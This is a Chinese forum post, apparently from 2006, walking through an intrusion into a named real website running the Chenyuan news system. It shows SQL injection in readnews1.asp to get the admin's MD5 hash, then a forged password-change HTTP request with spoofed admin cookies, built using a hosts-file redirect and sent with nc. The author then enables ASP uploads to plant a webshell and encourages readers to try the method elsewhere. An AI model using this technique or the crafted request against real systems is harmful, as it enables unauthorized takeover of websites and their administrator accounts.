热搜词
发表于 2006-11-15 18:23:16 | 显示全部楼层 |阅读模式
<P align=center>绕过md5验证继续入侵</P><P></P><P>&nbsp;&nbsp;&nbsp; 很多大侠都是通过查看程序的源代码发现漏洞的。但是由于我才刚开始学ASP,所以还没有达到这种境界。虽然搜索漏洞不方便,但偏偏一些程序就让被我找出来点东西。<BR><BR>&nbsp;&nbsp;&nbsp; 自从以前看了个"动网../bbs/UpFile漏洞利用动画",我对抓包修改有了初步了解。当时就感觉用途不只是上传那么简单。于是爱死了WinSock Expert,经常有事没事拿着他分析下提交的数据包。往往在不经意间,有很大的收获。最近就用它发现了几个安全漏洞。<BR><BR>&nbsp;&nbsp;&nbsp; 图1是笔者以前侵入过的一个站点。据说那次事件过后,该网已经开始重视Web安全了。这次我抱着帮他检测漏洞的心态,瞧瞧能不能再侵入并放个页面上去。<BR><BR>&nbsp;&nbsp; 该网站使用的是沸腾3AS流浪尘缘新闻系统(核心:尘缘雅境图文系统)V0.45 ACCESS版build 1程序。</P><P><IMG src="http://www.05112.org/Article/UploadFiles/200607/20060707090631328.gif"></P><P>&nbsp;&nbsp;&nbsp; 大家都知道尘缘雅境有个漏洞Uploadfaceok.asp可以上传ASP木马。管理员似乎知道这里有问题。默认数据库地址也不在。<BR><BR>&nbsp;&nbsp;&nbsp; 转来转去,感觉这个站点有点让人摸不着头脑了,就好像有人故意在留后门一样,这个版本的尘缘新闻系统本来不应该存在漏洞的,但是在浏览信息的时候却发现他用的是ReadNews1.asp 这个文件,并没有用<BR><BR>&nbsp;&nbsp; 原来的ReadNews.asp,很奇怪,随手输入一个&#39;,竟然存在注入漏洞,明显没有过滤</P><P><IMG src="http://www.05112.org/Article/UploadFiles/200607/20060707090643271.gif"></P><P>&nbsp;&nbsp;&nbsp; 但是将文件名改为readnews.asp?newsid=173却被过滤了。而站点首页又显示的是readnews1.asp,很可能是管理员修改过文件的什么地方,由于不懂注入漏洞,所以看不出来那段防止注入的代码含义,最后不小心把原来用来防止注入的部分取掉了。就是说尘缘雅境系统本来不存在这个注入点,现在却被无意中制造了一个。注入之后得到的密码,也就是数据库中的密码值是MD5加密过的,这个"地球人都知道"。<BR><BR>&nbsp;&nbsp; &nbsp;MD5破解不开,我就想到了WinSock Expert抓包修改,因为我记得尘缘雅境这个程序在后台管理员修改密码的时候,并没有让输入原始密码,而默认密码框中是原始密码的MD5值。就是说,如果你修改密码,会提交新的密码,但是需要验证旧的密码的MD5值。现在既然拿到了MD5值,就可以修改密码了,还有一点要注意的是抓报的时候要看清楚包的内容,看看它除了要验证旧密码的MD5值以外,还会验证什么</P><P>&nbsp; 那么还是下载这个版本,看看后台有什么经过修改可以拿webshell的。在本机上打开iis服务,访问初始化程序的后台页面。后台有个管理员修改密码的地方,我猜想如果程序在修改后台密码的时候如果使用cookies验证方式,那么我们就可以直接提交相映的数据包,如果包中内容符合程序要求,程序就会认为合法,则执行修改管理员密码的代码。下面是我在修改密码的时候抓的数据包(图3)<BR><BR></P><P><IMG src="http://www.05112.org/Article/UploadFiles/200607/20060707090718611.gif"></P><P><BR>&nbsp;&nbsp;&nbsp; 主要是想看看修改密码都需要什么信息,需要包中符合哪些内容。我在本机上的iis服务器ip为192.168.32.21,下面是包内容:<BR><BR>---------------------------------------------------------------------------------------<BR><BR>Cookie: ASPSESSIONIDQSTCRBQS=IGCLHDBBPLKKLEAAPKGHCLPH; reglevel=; fullname=%D0%A1%B7%D1; purview=99999; KEY=super; UserName=base; Passwd=279d34fa1dfd71aa<BR><BR><BR><BR>username=base&amp;passwd=22222&amp;passwd2=22222&amp;fullname=%D0%A1%B7%D1&amp;depid=8&amp;oskey=super&amp;shenhe=1&amp;cmdok=+%D0%DE+%B8%C4+<BR><BR>-------------------------------------------------------------------------------------<BR><BR>&nbsp;&nbsp;&nbsp; 下面就是需要验证的Cookie内容 <BR><BR>Cookie: ASPSESSIONIDQSTCRBQS=IGCLHDBBPLKKLEAAPKGHCLPH; reglevel=; fullname=%D0%A1%B7%D1; purview=99999; KEY=super; UserName=base; Passwd=279d34fa1dfd71aa<BR><BR>&nbsp;&nbsp;&nbsp; 这些是需要的信息。不需要都看懂,只要知道有username,Passwd,purview,KEY,fullname,这个几个值需要验证,就是让他们符合要求。再看看数据库,它们都在admin表下。也就是说,我现在可以通过注入弄到它们。purview=99999,KEY=super这两个是说明其为超级管理员,不变,最重要的就是剩下的三个值。<BR><BR>&nbsp;&nbsp;&nbsp; Username=admin, Passwd= 24a2b13f36f9f99c, fullname=doudou(都是通过nbsi工具注入得到的值)[Y4] ,我们就用这些来欺骗。现在包对应的值有了,包内容如果现在提交,就会出现修改成功,这样会把我本机的初始尘缘雅静程序密码改掉。要改的可是他的啊,怎样做到最简便呢?我们知道包内容里面有被修改程序的ip地址,当然也可以改,可是改了以后还要计算并修改包大小值,这样子很麻烦,还不如我们不修改包了。就先欺骗自己的机子,让自己以为自己所架设的服务器ip地址就是域名lovefree.org,然后抓包,再让自己的机子认为lovefree.org又指向原来的地方,那么我们就不用再改动包的内容了。做法很简单。<BR><BR>&nbsp;&nbsp;&nbsp; 要做的是让我自己的电脑认为站点_blank&gt;http://lovefree.org/wenzhang/wenzhang/在我的ip上,而且对应得路径就是我安装的尘缘雅静初始化程序地址。改E:&#92;WINDOWS&#92;system32&#92;drivers&#92;etc&#92;下的hosts文件,加一行:<BR><BR>192.168.32.21 lovefree.org(图4)<BR><BR><IMG src="http://www.05112.org/Article/UploadFiles/200607/20060707090729865.gif"></P><P><BR>&nbsp;&nbsp;&nbsp; 然后设置iis服务器,加上个虚拟目录wenzhang/wenzhang指向尘缘雅境在自己机子上的目录。好了,现在在浏览器上输入</P><P><IMG src="http://www.05112.org/Article/UploadFiles/200607/20060707090755250.gif"><BR>&nbsp;&nbsp;&nbsp; 这样的目的是抓到的包等一下可以直接提交给真实的服务器一样(可以在后台改,fullname是管理员的全名)。" target=http://lovefree.org/wenzhang/wenzhang地址,不需要修改包的大小,而为了保证大小一样,在我们机子上的username=admin,fullname=doudou,也设置的和远程服务器一样(可以在后台改,fullname是管理员的全名)。<BR><BR>&nbsp;&nbsp;&nbsp; 一切就绪,现在开始再抓一次修改密码的包,为了方便起见我已经把管理员信息改为username=admin,fullname=doudou了,剩下包里需要修改的信息,就是md5的密码值,因为md5加密后都是16位的,不影响包大小。<BR><BR>---------------------------------------------------------------------------------------<BR><BR>POST /admin/saveedit.asp?id=1 HTTP/1.1<BR><BR>Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, <BR><BR><BR>application/msword, application/x-shockwave-flash, */*<BR><BR>Referer: _blank&gt;http://www.xijing.com.cn/admin/useredit.asp?id=1<BR><BR>Accept-Language: zh-cn<BR><BR>Content-Type: application/x-www-form-urlencoded<BR><BR>Accept-Encoding: gzip, deflate<BR><BR>User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)<BR><BR>Host: www.xijing.com.cn<BR><BR>Content-Length: 110<BR><BR>Connection: Keep-Alive<BR><BR>Cache-Control: no-cache<BR><BR>(下面是coocike验证内容)<BR><BR>Cookie: NB796459377Vote1=1; ASPSESSIONIDQSTCRBQS=MGCLHDBBGDELLJGJGJHGKBML; reglevel=; fullname=doudou; KEY=super; UserName=admin; purview=99999; Passwd=24a2b13f36f9f99c<BR><BR>(下面是修改信息)<BR><BR>username=admin&amp;passwd=abend&amp;passwd2=abend&amp;fullname=doudou&amp;depid=10&amp;oskey=super&amp;shenhe=1&amp;cmdok=+%D0%DE+%B8%C4+<BR><BR>---------------------------------------------------------------------------------------<BR><BR>&nbsp;&nbsp;&nbsp; 看到了,包和真的一样!简直就像从他的服务器上抓来的。这样我们要改的,就只有passwd的md5值了,就是说,只要这个也匹配,真正的lovefree.org服务器就会认可。改为24a2b13f36f9f99c就是注入得到的密码md5值。现在把host文件的内容改回来,改回来之后,再输入域名lovefree.org就是打开真实地址了。用nc提交(图6)<BR><BR><IMG src="http://www.05112.org/Article/UploadFiles/200607/20060707090807683.gif"></P><P>&nbsp;&nbsp;&nbsp; 哈哈!恭喜您!您的资料已经修改成功! 2秒钟后返回上页!<BR><BR>&nbsp;&nbsp;&nbsp; 现在密码就是abend。用它来登录后台,到网站属性改"上传文件类型:"多加一个asp,就可以上传asp木马。<BR><BR>&nbsp;&nbsp;&nbsp; 就针对尘缘雅境来说,虽然大家可能没我那么幸运,刚好有个readnews1.asp文件没加过滤,但是如果不小心拿到了数据库,也不至于看着md5发愁了吧?其实还有很多程序都存在这样的问题,如果你拿到了某站管理员的md5值,不妨用这种方法试一下,也许有很大收获!</P><P>&nbsp;</P><p>[此帖子已被 灰儿 在 2006-11-15 19:25:29 编辑过]
全部评论0
回复
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|管理员之家 ( 苏ICP备2023053177号-2 )

GMT+8, 2024-11-23 01:13 , Processed in 0.227654 second(s), 22 queries .

Powered by Discuz! X3.5

Cpoyright © 2001-2024 Discuz! Team